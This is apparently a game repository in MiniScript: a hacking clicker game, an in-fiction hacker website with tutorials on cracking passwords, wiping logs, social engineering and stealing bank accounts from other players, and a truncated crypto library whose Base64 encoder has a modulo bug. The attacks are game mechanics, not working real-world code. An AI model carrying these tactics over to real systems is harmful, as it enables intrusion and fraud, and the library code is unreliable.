opt=user_input("[Y/N]> ").lower
if opt == "y" then
save.delete
exit("Please restart game")
else
exit("Reverting to pre-launch save. Please restart game")
end if
end function
btc=cont[0].val
upgrade=cont[1].val
kiddies=cont[2].val
jpgr=cont[3].val
ehck=cont[4].val
mine=cont[5].val
botnet=cont[6].val
rans=cont[7].val
achievements=cont[8:]
while true
clear_screen
allFine=1
if typeof(btc) != "number" then allFine=0
if typeof(upgrade) != "number" then allFine=0
if typeof(kiddies) != "number" then allFine=0
if typeof(jpgr) != "number" then allFine=0
if typeof(ehck) != "number" then allFine=0
if typeof(mine) != "number" then allFine=0
if typeof(botnet) != "number" then allFine=0
if typeof(rans) != "number" then allFine=0
if not allFine then notFine()
cps=1*(1+kiddies+(2*jpgr)+(3*ehck)+(4*mine)+(5*botnet)+(6*rans))-1
cpc=1*(1+upgrade)
btc=btc+cps
print(kiddies+" Script Kiddies")
print(jpgr+" Junior Programmers")
print(ehck+" Experienced hackers")
print(mine+" Bitcoin Mines")
print(botnet+" Botnets")
print(rans+" Ransoms")
print("\n"+btc+" Bitcoin")
print(cps+" Per second")
print(cpc+" Per hack")
if btc >= 100 and not achievements.indexOf("100 Bitcoin! - Make 100 Bitcoin.") then
achievements.push("100 Bitcoin! - Make 100 Bitcoin.")
print("Achievement get! 100 Bitcoin!")
end if
if btc >= 1000 and not achievements.indexOf("1000 Bitcoin! - Make 1000 Bitcoin.") then
achievements.push("1000 Bitcoin! - Make 1000 Bitcoin.")
print("Achievement get! 1000 Bitcoin!")
end if
if btc >= 10000 and not achievements.indexOf("10000 Bitcoin! - Make 10000 Bitcoin.") then
achievements.push("10000 Bitcoin! - Make 10000 Bitcoin.")
print("Achievement get! 10000 Bitcoin!")
end if
if btc >= 10000000 and not achievements.indexOf("Bet ya didn't click those.") then
achievements.push("Bet ya didn't click those.")
print("Achievement get! Cheat Bitcoin.")
end if
saved=[btc,upgrade,kiddies,jpgr,ehck,mine,botnet,rans]
saved=saved+achievements
print("Actions:")
print("Remember to use the exit action to save your progress!")
print("[Hack] [Shop] [Achievements] [Exit]")
term=user_input("~$ ").lower
if term == "hack" then btc=btc+cpc
if term == "shop" then
while true
clear_screen
costs=[10*(1+(kiddies/5)),100*(1+(jpgr/5)),1000*(1+(ehck/5)),10000*(1+(mine/5)),100000*(1+(botnet/5)),1000000*(1+(rans/5)),100*(1+upgrade)]
print("[1] Script Kiddies: "+kiddies+" +1 Cost: "+costs[0])
print("[2] Junior Programmers: "+jpgr+" +1 Cost: "+costs[1])
print("[3] Experienced Hackers: "+ehck+" +1 Cost: "+costs[2])
print("[4] Bitcoin Mines: "+mine+" +1 Cost: "+costs[3])
print("[5] Botnets: "+botnet+" +1 Cost: "+costs[4])
print("[6] Ransoms: "+rans+" +1 Cost: "+costs[5])
print("[7] Upgrade Hacking: "+upgrade+" +1 Cost: "+costs[6])
print("[8] Return")
opt=user_input("~$").to_int
if opt == 8 or typeof(opt) != "number" or opt > 8 or opt <= 0 then break
attempt=btc-costs[opt-1]
if typeof(attempt) != "number" then allFine=0
if not allFine then notFine()
if attempt < 0 then
print("Insufficient Bitcoin")
wait(1)
continue
end if
btc=attempt
if opt == 1 then kiddies=kiddies+1
if opt == 2 then jpgr=jpgr+1
if opt == 3 then ehck=ehck+1
if opt == 4 then mine=mine+1
if opt == 5 then botnet=botnet+1
if opt == 6 then rans=rans+1
if opt == 7 then upgrade=upgrade+1
end while
else if term == "achievements" then
clear_screen
for achievement in achievements
print(achievement)
end for
user_input("[Return]")
else if term == "exit" then
save.set_content(saved.join(char(10)))
exit("-=Exiting!=-")
end if
end while

816
corTech.html Normal file
View file

@ -0,0 +1,816 @@
<html>
<style>
body { font: 10px Times, serif; color: #707070; text-align: center; }
html{
background-color:#0E0E0E;
}
div{
text-align: center;
font-size: 14px;
}
h1 {
color: #cc0099;
text-shadow: 4px 4px 0px #cc0090;
}
h2 {
color: #303030;
}
p {
color: white;
font-size: 14px;
}
.color-white{
color: white;
}
.div-primary{
position: top;
}
.btn {
cursor: pointer;
}
.btn-primary{
border-radius: 4px;
color: white;
font-size: 14px;
border: none;
margin-left: 4px;
margin-right: 4px;
background-color: #080808;
}
.btn-primary:hover{
background: #cc0099;
color: black;
}
.btn-secondary{
border-radius: 8px;
color: white;
border: none;
margin:-4px;
background-color: #080808;
}
.btn-secondary:hover{
background: #cc0099;
color: black;
}
.btn-text{
color: white;
}
.body{
height: 100%;
margin-top: 120px;
}
.scroll-window{
height:600px;
overflow-y: auto;
margin-bottom: 120px;
}
.header{
position: fixed;
top: -10px;
background-color: #0E0E0E;
}
.div-main{
margin-top:-24px;
}
.footer{
position: fixed;
bottom: 0px;
background-color: #0E0E0E;
}
.tutorials-table {
position: fixed;
height: 600px;
}
.tutorials-menu {
background-color: #080808;
position: fixed;
text-align: left;
width: 175px;
height: 600px;
}
.tutorial-main {
background-color: #181818;
text-align: left;
width: auto;
height: 100%;
margin-left: 90px;
}
.text-header {
font-size:20px;
color:white;
}
.text-body-header {
text-align: left;
font-size:14px;
padding-left: 8px;
color:white;
}
.text-body {
text-align: left;
font-size:14px;
padding-left: 24px;
color:gray;
}
.text-note {
text-align: left;
font-size:12px;
padding-left: 48px;
color:#505050;
}
.text-note-center{
font-size:12px;
color:#505050;
}
.text-scroll {
overflow-y:auto;
height:575px
}
.rotate {
transform: rotate(18deg);
}
.vr {
transform: rotate(90deg);
padding-top: 40px;
}
.term-green {
background:black;
color:green;
margin-left:5px;
}
#div-main {
display: block;
margin-bottom: 800px;
}
#div-downloads {
display: none;
margin-bottom: 500px;
}
#div-players {
display: none;
}
#div-tutorials {
display: none;
}
#tutorials-main {
display: block;
}
#div-start {
display: none;
}
#div-mission {
display: none;
}
#div-hacktools {
display: none;
}
#div-hackmissions {
display: none;
}
#div-libraries {
display: none;
}
#div-networks {
display: none;
}
#div-securehome {
display: none;
}
#div-secureserver {
display: none;
}
#div-hackwebsites {
display: none;
}
#div-findplayers {
display: none;
}
#div-hackplayers {
display: none;
}
</style>
<table class="header">
<tr>
<td>
<br><center><div class="rotate"><h1 style="font-size:26px;">corTechs</h1></div></center>
<p>source tools and information<br></p>
<hr><div style="margin-right:37px">
<button class="btn btn-primary" onclick="mainFunc()"> home </button>
<button class="btn btn-primary" onclick="downloadsFunc()"> downloads </button>
<button class="btn btn-primary" onclick="playersFunc()"> players </button>
<button class="btn btn-primary" onclick="tutorialsFunc()"> tutorials </button>
</div><hr>
</td>
</tr>
</table>
<table class="body">
<tr>
<td>
<div id="div-main">
<table class="scroll-window">
<tr><th><br><div><h2><u> -welcome to corTechs- </u></h2></div></th></tr>
<tr>
<td>
<center>
<table style="text-align:left;width:700px;"><tr><td>
<b class="text-body"><br>
<i class="text-note">[5.1.04]</i> <b style="color:white;">300 accounts added to banks.txt<br>
<i class="text-note">[4.30.04]</i> <b style="color:white;">secure libs added (ssh/http/router)<br>
<i class="text-note">[4.29.04]</i> <b style="color:white;">[hack attempt] added to player list<br>
<i class="text-note">[4.22.04]</i> <b style="color:white;">450 accounts added to banks.txt<br>
<i class="text-note">[4.20.04]</i> <b style="color:white;">website relaunched<br>
</b>
</td></tr></table>
</center>
<center class="text-note;">
<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
<b style="color:white;"><h2>4 unique visits</h2></b><br><br>
<b style="color:white;">***spoiler alert***</b><br>
<i style="margin-left:-20px"><b class="text-note">some content may ruin the adventure<br>
<i style="margin-left:-20px">use as refernce and make something better<br></b></i>
<br><br><br><b>
</center>
</td>
</tr>
</table>
</div>
<div id="div-downloads">
<table class="scroll-window">
<tr>
<th><div><br><h2>-downloads-</h2><br><br><button class="btn btn-primary" style="width:100px;" id="HackShopTools" value="get files"></div></th>
</tr>
<tr>
<th><center><b style="color:white;"><u>Get Shell</u></b><br>(source)</center></th>
<th><center><b style="color:white;"><u>LAN Map</u></b></center><center>(source)</center></th>
</tr>
<tr>
<td>
<p>*basic library attack - returns shell*<br>
*works on all devices, remote and local*<br>
-exploits all vulnerabilties of target port library<br>
-'launch terminal' option when shell found<br>
-optional password or lan ip parameter
</p>
</td>
<td>
<p>
*scans lan network and prints map to console*<br>
*maps all connections to open/closed ports<br>
*full hierarchy with ip/port/device/type/status</p>
<center>
-labels router/switch/firewall<br>
-lists all ports and current status
</center>
</td>
</tr>
<tr>
<th><center><b style="color:white;"><u>Corrupt Logs</u></b></center><center>(source)</center></th>
<th><center><b style="color:white;"><u>Secure PC</u></b></center><center>(source)</center></th>
</tr>
<tr>
<td>
<p>
*corrupt local system.log file*<br>
-removes all log entries<br>
-leaves optional message in system.log<br>
-no disconnection log on exit<br>
-use: sec [home/server/remote] or [h/s/r]
</p>
<br><br>
</td>
<td>
<p>
*Secures local pc*<br>
-home/server/remote settings<br>
-ONLY run 'home' on home pc<br>
-removes all password files<br>
-removes guest folder<br>
-resets all permissions<br>
-<i>(remote: full perms to all users)</i>
</p>
</td>
</tr>
<tr>
<th ><center><b style="color:white;"><u>File Management List</u></b></center><center>(fml)</center></th>
<th><center style="margin-top:20px;"><b style="color:white;"><u>File Handler</u></b></center><center>(template)</center><br></th>
</tr>
<tr>
<td>
<p>
*file and folder management*<br>
*keypad or path navigation*<br>
*full permissions control*</p>
<center><u>edit files and folders:</u><br>
-add files and folders<br>
-view/add/clear txt/src<br>
-move/copy/delete<br>
-build .src<br>
-launch scripts<br>
-empty folders<br>
-h for help
</center>
</td>
<td>
<p>
*creates fake computer object from remote file object*
</p>
<br><br><br><br><br><br><br><br><br><br><br>
</td>
</tr>
<tr style="margin-top:12px;">
<th><center><b style="color:white;"><u>Get Remote User</u></b></center><center>(template)</center></th>
<th><center><b style="color:white;"><u>Connect Wifi</u></b></center><center>(source)</center></th>
</tr>
<tr>
<td>
<p>
*finds user of remote object*<br>
*accepts shell/computer/file objects*<br>
*returns current user as string ("root/username/guest")*</p>
<center>
requires implementation into existing tool<br>
may not work with player edited permissions
</center>
</td>
<td>
<p>
*auto connect to selected wifi*<br>
<center>-automatically runs airplay/aircrack<br>
-displays password<br>
-automatically connects
</center>
<br><br>
</td>
</tr>
<tr>
<th><center style="margin-top:20px;"><b style="color:white;"><u>getRich</u></b></center><center>(source)</center></th>
</tr>
<tr>
<td>
<p>
- auto bank finder/decipherer<br>
- creates database of vulnerabilities<br>
- generates 100-300 deciphered accounts/hr
</p>
<br><br><br>
</td>
</tr>
<tr>
<td>
<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
</td>
</tr>
</table>
</div>
<div id="div-players">
<table class="scroll-window">
<tr><th><div><br><h2>-wall of shame-</h2></div></th></tr>
<tr><th><div size="5px">[notice: ip of hack attempts will be made public]</div></th></tr>
<tr>
<td><br>
<br><div><b style="color:#cc0099;">[85.1.223.93]<u></u></b></div>
<!-- <center style="color:white;">
85.1.223.93</b></center>
</center> -->
<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
</td>
</tr>
</table>
</div>
<div id="div-tutorials">
<table class="tutorials-table">
<td class="tutorials-menu">
<div>
<center><p><b><u style="font-size:16px">Tutorials</u><b></p></center>
<b style="color:#303030;font-size:10px;text-align:left;">Beginner:</b><br>
<button class="btn-secondary" id="start" onclick="startFunc()">Getting Started</button><br>
<button class="btn-secondary" id="mission" onclick="missionFunc()">First Mission</button><br>
<button class="btn-secondary" id="hacktools" onclick="hacktoolsFunc()">Hackshop Tools</button><br>
<button class="btn-secondary" id="hackmissions" onclick="hackmissionsFunc()"><s>Hackshop Jobs</s></button><br>
<button class="btn-secondary" id="hackmissions"><s>Reputation</s></button><br>
<b style="color:#303030;font-size:10px;">Intermediate:</b><br>
<button class="btn-secondary" id="libraries" onclick="librariesFunc()"><s>Networks</s></button><br>
<button class="btn-secondary" id="networks" onclick="networksFunc()"><s>Libraries</s></button><br>
<button class="btn-secondary" id="securehome" onclick="securehomeFunc()"><s>Security</s></button><br>
<button class="btn-secondary" id="secureserver" onclick="secureserverFunc()"><s>Advanced Tools</s></button><br>
<b style="color:#303030;font-size:10px;">Advanced:</b><br>
<button class="btn-secondary" id="hackwebsites" onclick="hackwebsitesFunc()"><s>Hacking Websites</s></button><br>
<button class="btn-secondary" id="findplayers" onclick="findplayersFunc()"><s>Finding Players</s></button><br>
<button class="btn-secondary" id="hackplayers" onclick="hackplayersFunc()"><s>Hacking Players</s></button><br>
<button class="btn-secondary" id="encryption" onclick="encryptionFunc()"><s>Encryption</s></button><br>
<b style="color:#303030;font-size:10px;">Scripting:</b><br>
<button class="btn-secondary" id="scripting" onclick="scriptingFunc()"><s>Scripting</s></button><br>
</div>
</td>
<td class="tutorial-main">
<div id="tutorials-main" class="text-scroll"><br><b><u class="text-header">Tutorials:</u></b><br><br>
<center><b style="color:white;">[Currently Available]<br>
<u>Getting Started:</u><br>
<i style="color:grey">Setting up your accounts.</i><br>
<u>First Mission:</u><br>
<i style="color:grey">Completing the first mission and obtaining your hackshop IP</i><br>
<u>Hackshop Tools:</u><br>
<i style="color:grey">Use and requirements of hackshop tools/exploits.</i><br><br>
<i style="font-size:10px">[more to come. no section is considered complete]<br>
if you have any questions or suggestions, feel free to contact me<br>
menu items will lose their strikeout as content becomes available</i></center>
</div>
<div id="div-start" class="text-scroll"><b><u class="text-header">[Getting Started]</u></b>
<p class="text-body-header">Opening accounts:</p>
<p class="text-body">&#8226; Open Browser.exe and search for 'mail'<br>
&#8226; Select a website and follow the prompts to create a new email account</p>
<p class="text-note">(account credentials are saved in Menu -> Preferences -> Accounts)</p>
<p class="text-note">(some credentials are also saved locally. see security tutorials)</p>
<p class="text-body">&#8226; Click the home icon to return to search and search for 'bank'<br>
&#8226; Select a website and follow the prompts to create a new bank account<br>
&#8226; Return home and search for 'shop'</p>
<p class="text-note">(think like a hacker and avoid places you might search for new players)</p>
<p class="text-body">&#8226; Select a website and navigate to the "shop"<br>
&#8226; Rent a Basic Server and download nmap
<p class="text-note">(you will return later for libraries and computer upgrades)</p>
<p class="text-body-header">Connecting to a proxy server:</p>
<p class="text-body">&#8226; Open Mail.exe<br>
&#8226; The first email will be the log in credentials for your new server<br>
&#8226; Open a new Terminal.exe and enter 'ssh root@[password] [ip]'</p>
<p class="text-note">(this is your proxy server. any action risking exposure should be completed here)<br>
(it is advisable that home and servers be secured before exploring player content)</p>
<p class="text-body">&#8226; The second email is your first job. Continue to the next section for more information.<br>
</div>
<div id="div-mission" class="text-scroll"><b><u class="text-header">[Completing the First Mission]</u></b>
<p class="text-body-header">Gathering information:</p>
<p class="text-body">&#8226; The first step when starting any attack should be to 'nmap' your target</p>
<p class="text-note">(if you have not already installed nmap, you can download it from any regular shop)</p>
<p class="text-body">&#8226; Enter 'nmap [ip]' in the terminal for port and library details<br>
&#8226; You can see that an SSH port is open to outside connection
<p class="text-note">(connect to any open ssh port with 'ssh [user]@[password] [ip]')<br>
(until you have tools or access to a hackshop, this is the only way to access this server.</p>
<p class="text-body">&#8226; Another way to gather information about a target IP is 'whois [ip]'<br>
<p class="text-body-header">Obtaining login credentials:</p>
<p class="text-body">&#8226; Social Engineering has many uses, including ways to obtain user credentials<br>
&#8226; Open Mail.exe and click the pencil to access email templates</p>
<p class="text-body-header">Finding and deciphering the data:</p>
<p class="text-body">&#8226; Once a password is obtained, use 'ssh' to connect to the user<br>
&#8226; Locate the users email file and use 'decipher /file/path' to crack the email password<br>
<p class="text-note">(decipher is included as an attachment with the mission email)</p>
<p class="text-body">&#8226; Once the password has been deciphered, reply to the email with only the password<br>
&#8226; You will hear back shortly with the IP of a private hackshop</p>
<p class="text-note">(hackshop IPs are private. sharing or using someone elses IP puts you at risk.)</p>
<p class="text-body">&#8226; Continue to the next section for information on hackshops</p>
</div>
<div id="div-hacktools" class="text-scroll"><b><u class="text-header">[Hackshop Tools]</u></b><br>
<p class="text-body-header">-Hack Shop Tools-</p>
<p class="text-note">(some tools and default programs can be compiled locally (and for free) by clicking 'view code' in Manual.exe)</p>
<p class="text-body">
&#8226;<b style="color:white;">AdminMonitor.exe:</b> Monitors for admin activity on hacked connections</p>
<p class="text-note">Keep this running on your home PC any time you are hacking npc networks<br>
If an active trace begins, you need to remove your shell/deletion logs and exit the machine</p>
<p class="text-body">
&#8226;<b style="color:white;">crypto.so:</b> Required for cracking, hacking wifi and obtaining an smtp user list</p>
<p class="text-note">This should be kept in /lib on any computer you use to decipher passwords</p>
<p class="text-body">
&#8226;<b style="color:white;">metaxploit.so:</b> Required for most hacking. Used to attack libraries, create rshell/server and run sniffers.</p>
<p class="text-note">This should be kept in /lib for all default exploit tools.<br>
(see advanced tools for more details)</p>
<p class="text-body">
&#8226;<b style="color:white;">decipher:</b> Password deciphering tool. Utilizes crypto.so library.</p>
<p class="text-body">
&#8226;<b style="color:white;">scanlib:</b> Library scanning tool. Utilizes metaxploit.so libray</p>
<p class="text-note">Scans local library and returns a list of exploitable memory values and their requirements</p>
<p class="text-body">
&#8226;<b style="color:white;">scanrouter:</b> Firewall detection tool. Returns firewall information for a router.</p>
<p class="text-body">
&#8226;<b style="color:white;">sniffer & rshell:</b> NPC/Player hacking tools.</p>
<p class="text-note">(see hackshop jobs and hacking players for more details)</p>
</div>
<div id="div-hackmissions"><b><u class="text-header">[Hackshop Jobs]</u></b>
</div>
<div id="div-libraries"><b><u class="text-header">[Understanding Libraries]</u></b>
</div>
<div id="div-networks"><b><u class="text-header">[Understanding Networks]</u></b>
</div>
<div id="div-securehome" class="text-scroll"><b><u class="text-header">[Securing Your Home and Servers]</u></b><br>
<div class="text-body-header">
<br>-Protect your information-<br><br>
<div class="text-body-header">
The obvious but not always easy way to ensure your security is to not let anyone obtain your IP address.<br>
Some of the common ways a hacker will attempt to locate your information are the following:<br><br>
<div class="text-body">
&#8226;Finding your ip in logs from websites, servers, shops, etc<br>
&#8226;Tricking you into running a malicious file or visiting a server<br>
&#8226;Using social engineering to obtain useful information<br>&nbsp;
&#8226;Keep all of this in mind when interacting with players, player content, and searching the web
</div>
</div>
</div><br>
<div class="text-body-header">
<br>-Fix your permissions-<br><br>
<div class="text-body-header">
When you load into a new system, all user permissions will be set to defaul configuration. Typically, this type of configuration can lead to vulnerabilities, allowing hackers to read, create and execute files with low level permissions.
In order to prevent this, you must constantly ensure that your system settings provide only the permissions necessary to remain functional.<br>
<div class="text-body"><br>
&#8226;To change system permissions, use the <b class="term-green">chmod</b> command
<p color=#505050>
<b style="margin-left:36px">usage:</b><b class="term-green"> chmod <i>[opt:-R] [u,g,o+wrx] [path file/folder] </i></b><br>
<b style="margin-left:48px">-R:</b><b style="color:#505050;"> applies permissions recursively</b><br>
<b style="margin-left:48px">u,g,o:</b><b style="color:#505050;"> user = root; g = group(users); o = other(guest)</b><br>
<i class="text-note" style="margin-left:48px">only one user type can be used at a time</i><br>
<b style="margin-left:48px">rwx:</b><b style="color:#505050;"> r = read; w = write; x = execute</b><br>
<i class="text-note" style="margin-left:48px">set multiple at once: <b class="term-green">u+rwx </b> <b class="term-green">o-w </b> <b class="term-green">g+rx </b></i><br>
</p>
&#8226;The entire file system can be changed with<br>
&#8226;Individual folders and files can be changed with<br>
&#8226;never remove group execute permissions from essential start up files on your home pc<br>
<i class="text-note">ie: Terminal.exe and sudo</i>
A server should have permissions removed for all users, on all files and folders
-Update your port forwarding-
Port forwarding allows you to open (or close) access to running services.
By default, your home computer will usually have at least one port forward
To an NPC service running in your network. Since you will never need to access
your home from an external source, and you should not host services from your
Home ip, the best practice is to simply remove all port access
To access port forwarding options, type in terminal: Browser.exe [gateway ip]:8080
If you do not know your gateway ip, use if config in terminal or launch ScanLan.exe
(Typically, the router IP will be: 192.168.1.1... but not always.
Eg: Browser.exe 192.168.1.1
-get secure libraries-
Libraries, or .so files, are internal files that are automatically generated
when a server is first generated into the world or when a service is started
Using the service start files (ie: http-server).
</div>
</div>
</div>
</div>
<div id="div-secureserver"><b><u class="text-header">[Sniffers and Reverse Shells]</u></b>
</div>
<div id="div-hackwebsites"><b><u class="text-header">[Hacking Websites]</u></b>
</div>
<div id="div-findplayers"><b><u class="text-header">[How to Find Players]</u></b>
</div>
<div id="div-hackplayers"><b><u class="text-header">[Hacking Players]</u></b>
</div>
</td>
</tr>
</table>
</div>
</td>
</tr>
</table>
<table class="footer">
<tr>
<td>
<hr><center>| corTechs by Corvus@eastellwo.info | &#xa9;1997 |</center>
</td>
</tr>
</table>
</div>
<script>
var main = document.getElementById("div-main");
var downloads = document.getElementById("div-downloads");
var players = document.getElementById("div-players");
var tutorials = document.getElementById("div-tutorials");
var tutorialsMain = document.getElementById("tutorials-main")
var start = document.getElementById("div-start");
var mission = document.getElementById("div-mission");
var hacktools = document.getElementById("div-hacktools");
var hackmissions = document.getElementById("div-hackmissions");
var libraries = document.getElementById("div-libraries");
var networks = document.getElementById("div-networks");
var securehome = document.getElementById("div-securehome");
var secureserver = document.getElementById("div-secureserver");
var hackwebsites = document.getElementById("div-hackwebsites");
var findplayers = document.getElementById("div-findplayers");
var hackplayers = document.getElementById("div-hackplayers");
function mainFunc() {
if (main.style.display === "none") {
main.style.display = "block";
downloads.style.display = "none";
players.style.display = "none";
tutorials.style.display = "none";
} else {
main.style.display = "block";
}
}
function downloadsFunc() {
if (downloads.style.display === "none") {
downloads.style.display = "block";
main.style.display = "none";
players.style.display = "none";
tutorials.style.display = "none";
} else {
downloads.style.display = "block";
}
}
function playersFunc() {
if (players.style.display === "none") {
players.style.display = "block";
main.style.display = "none";
downloads.style.display = "none";
tutorials.style.display = "none";
} else {
players.style.display = "block";
}
}
function tutorialsFunc() {
if (tutorials.style.display === "none") {
tutorials.style.display = "block";
main.style.display = "none";
downloads.style.display = "none";
players.style.display = "none";
} else {
tutorials.style.display = "block";
}
}
function startFunc() {
tutorialsMain.style.display = "none";
start.style.display = "block";
mission.style.display = "none";
hacktools.style.display = "none";
hackmissions.style.display = "none";
libraries.style.display = "none";
networks.style.display = "none";
securehome.style.display = "none";
secureserver.style.display = "none";
hackwebsites.style.display = "none";
findplayers.style.display = "none";
hackplayers.style.display = "none";
}
function missionFunc() {
tutorialsMain.style.display = "none";
start.style.display = "none";
mission.style.display = "block";
hacktools.style.display = "none";
hackmissions.style.display = "none";
libraries.style.display = "none";
networks.style.display = "none";
securehome.style.display = "none";
secureserver.style.display = "none";
hackwebsites.style.display = "none";
findplayers.style.display = "none";
hackplayers.style.display = "none";
}
function hacktoolsFunc() {
tutorialsMain.style.display = "none";
start.style.display = "none";
mission.style.display = "none";
hacktools.style.display = "block";
hackmissions.style.display = "none";
libraries.style.display = "none";
networks.style.display = "none";
securehome.style.display = "none";
secureserver.style.display = "none";
hackwebsites.style.display = "none";
findplayers.style.display = "none";
hackplayers.style.display = "none";
}
function hackmissionsFunc() {
tutorialsMain.style.display = "none";
start.style.display = "none";
mission.style.display = "none";
hacktools.style.display = "none";
hackmissions.style.display = "block";
libraries.style.display = "none";
networks.style.display = "none";
securehome.style.display = "none";
secureserver.style.display = "none";
hackwebsites.style.display = "none";
findplayers.style.display = "none";
hackplayers.style.display = "none";
}
function librariesFunc() {
tutorialsMain.style.display = "none";
start.style.display = "none";
mission.style.display = "none";
hacktools.style.display = "none";
hackmissions.style.display = "none";
libraries.style.display = "block";
networks.style.display = "none";
securehome.style.display = "none";
secureserver.style.display = "none";
hackwebsites.style.display = "none";
findplayers.style.display = "none";
hackplayers.style.display = "none";
}
function networksFunc() {
tutorialsMain.style.display = "none";
start.style.display = "none";
mission.style.display = "none";
hacktools.style.display = "none";
hackmissions.style.display = "none";
libraries.style.display = "none";
networks.style.display = "block";
securehome.style.display = "none";
secureserver.style.display = "none";
hackwebsites.style.display = "none";
findplayers.style.display = "none";
hackplayers.style.display = "none";
}
function securehomeFunc() {
tutorialsMain.style.display = "none";
start.style.display = "none";
mission.style.display = "none";
hacktools.style.display = "none";
hackmissions.style.display = "none";
libraries.style.display = "none";
networks.style.display = "none";
securehome.style.display = "block";
secureserver.style.display = "none";
hackwebsites.style.display = "none";
findplayers.style.display = "none";
hackplayers.style.display = "none";
}
function secureserverFunc() {
tutorialsMain.style.display = "none";
start.style.display = "none";
mission.style.display = "none";
hacktools.style.display = "none";
hackmissions.style.display = "none";
libraries.style.display = "none";
networks.style.display = "none";
securehome.style.display = "none";
secureserver.style.display = "block";
hackwebsites.style.display = "none";
findplayers.style.display = "none";
hackplayers.style.display = "none";
}
function hackwebsitesFunc() {
tutorialsMain.style.display = "none";
start.style.display = "none";
mission.style.display = "none";
hacktools.style.display = "none";
hackmissions.style.display = "none";
libraries.style.display = "none";
networks.style.display = "none";
securehome.style.display = "none";
secureserver.style.display = "none";
hackwebsites.style.display = "block";
findplayers.style.display = "none";
hackplayers.style.display = "none";
}
function findplayersFunc() {
tutorialsMain.style.display = "none";
start.style.display = "none";
mission.style.display = "none";
hacktools.style.display = "none";
hackmissions.style.display = "none";
libraries.style.display = "none";
networks.style.display = "none";
securehome.style.display = "none";
secureserver.style.display = "none";
hackwebsites.style.display = "none";
findplayers.style.display = "block";
hackplayers.style.display = "none";
}
function hackplayersFunc() {
tutorialsMain.style.display = "none";
start.style.display = "none";
mission.style.display = "none";
hacktools.style.display = "none";
hackmissions.style.display = "none";
libraries.style.display = "none";
networks.style.display = "none";
securehome.style.display = "none";
secureserver.style.display = "none";
hackwebsites.style.display = "none";
findplayers.style.display = "none";
hackplayers.style.display = "block";
}
</script>
</html>

811
cryptlib.src Normal file
View file

@ -0,0 +1,811 @@
//CryptLib
CryptLib={}
CryptLib.MaxCode=65536
CryptLib.ToBinary=function(string=null,bits=0)
if string == null then return
if typeof(bits) != "number" then bits=0
if typeof(string) == "string" then
grouped=[]
for i in string
f=""
i=i.code
while i >= 0
rem=i%2
i=i-rem
f=rem+f
i=i/2
if i == 0 then break
end while
if f.len > bits then bits=f.len
while f.len < bits
f="0"+f
end while
grouped.push(f)
end for
return grouped.join(" ")
else if typeof(string) == "number" then
f=""
n=0
i=string
if i < 0 then n=1
if n then i=abs(i)
while i > 0
rem=i%2
i=i-rem
f=rem+f
i=i/2
end while
while f.len < bits
f="0"+f
end while
if n then
nn=""
for i in f
if i == "0" then nn=nn+"1"
if i == "1" then nn=nn+"0"
end for
f=CryptLib.ToBinary(CryptLib.FromBinary(nn,nn.len)+1,nn.len)
end if
return f
else
return null
end if
end function
CryptLib.FromBinary=function(binary=null,bits=null)
if binary.split(" ").len != 1 then
bits=binary.split(" ")[0].len
binary=binary.split(" ").join("")
end if
if not bits then return
if not binary or typeof(binary) != "string" then return
grouped=[]
s=[]
while binary.len != 0
f=binary[:bits]
binary=binary[bits:]
if binary == null then binary=""
grouped.push(f)
end while
for f in grouped
t=0
for i in range(0,str(f).len-1)
c=f.len-1
c=c-i
i=f[i].to_int
t=t+(i*(2^c))
end for
s.push(t)
end for
if s.len == 1 then s=s[0]
return s
end function
CryptLib.Vigenere=function(string=null, key=null, type=null)
if key == null then key = active_user
if not type or typeof(type) != "string" or (type != "enc" and type != "dec") then return null
if not string or typeof(string) != "string" then return null
keySize=key.len
answer=""
counter=0
for i in string
currKey=key[counter]
final = (i.code+currKey.code) % CryptLib.MaxCode
answer=answer+char(final)
counter=(counter+1) % keySize
end for
return answer
end function
CryptLib.ROT=function(pos=null,string=null)
if typeof(pos) != "number" then return "NaN"
if pos <= 0 then return "Rot must be greater than 0"
if not string or typeof(string) != "string" then return
cases=[]
cases.push("abcdefghijklmnopqrstuvwxyz")
cases.push("ABCDEFGHIJKLMNOPQRSTUVWXYZ")
newString=[]
for i in string
case=null
for c in cases
if c.indexOf(i) != null then case=c
end for
if not case then
newString.push(i)
continue
end if
ind=case.indexOf(i)
newPos=(ind+pos)%case.len
newString.push(case[newPos])
end for
return newString.join("")
end function
CryptLib.Base64=function(string=null,type=null)
if not string or typeof(string) != "string" then return
if not type or typeof(type) != "string" or (type != "enc" and type != "dec") then return
alpha="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
alphaLen=alpha.len-1
based=null
if type == "enc" then
grouped=[]
while string.len != 0
s=string[:3]
string=string[s.len:]
if string == null then string=""
grouped.push(CryptLib.ToBinary(s,8).split(" ").join(""))
end while
based=""
for g in grouped
block=[]
while g.len != 0
s=g[:6]
g=g[s.len:]
if g == null then g=""
while s.len < 6
s=s+"0"
end while
block.push(s)
end while
for i in block
based=based+alpha[CryptLib.FromBinary(i,i.len)%alphaLen]
end for
check=block.len
while check != 4
based=based+"="
check=check+1
end while
end for
else
grouped=[]
while string.len != 0
block=[]
s=string[:4]
string=string[s.len:]
if string == null then string=""
for i in s
if i == "=" then continue
block.push(CryptLib.ToBinary(alpha.indexOf(i),6))
end for
grouped.push(block.join(""))
end while
based=""
for g in grouped
block=[]
while g.len != 0
s=g[:8]
g=g[s.len:]
if g == null then g=""
while s.len < 8
s="0"+s
end while
block.push(s)
end while
for i in block
based=based+char(CryptLib.FromBinary(i,i.len))
end for
end for
end if
return based
end function
CryptLib.Sha256=function(string=null)
if not string or typeof(string) != "string" then return
Blocks = [[0]]
i=0
e=0
while i < string.len
e=4
while e > 0 and string.hasIndex(i)
e=e-1
Blocks[-1][-1] = Blocks[-1][-1] + code(string[i])*256^e
i=i+1
end while
if e == 0 then
if Blocks[-1].len == 16 then Blocks = Blocks + [[0]] else Blocks[-1] = Blocks[-1] + [0]
end if
end while
if e > 0 then
Blocks[-1][-1] = Blocks[-1][-1] + (2147483648/256^(4-e))
else
Blocks[-1][-1] = 2147483648
end if
if Blocks[-1].len == 16 then Blocks = Blocks + [[0]]
while Blocks[-1].len != 15
Blocks[-1] = Blocks[-1] + [0]
end while
Blocks[-1] = Blocks[-1] + [string.len*8]
add = function(a, b)
return (a + b) % 4294967296
end function
XOR = function(a, b)
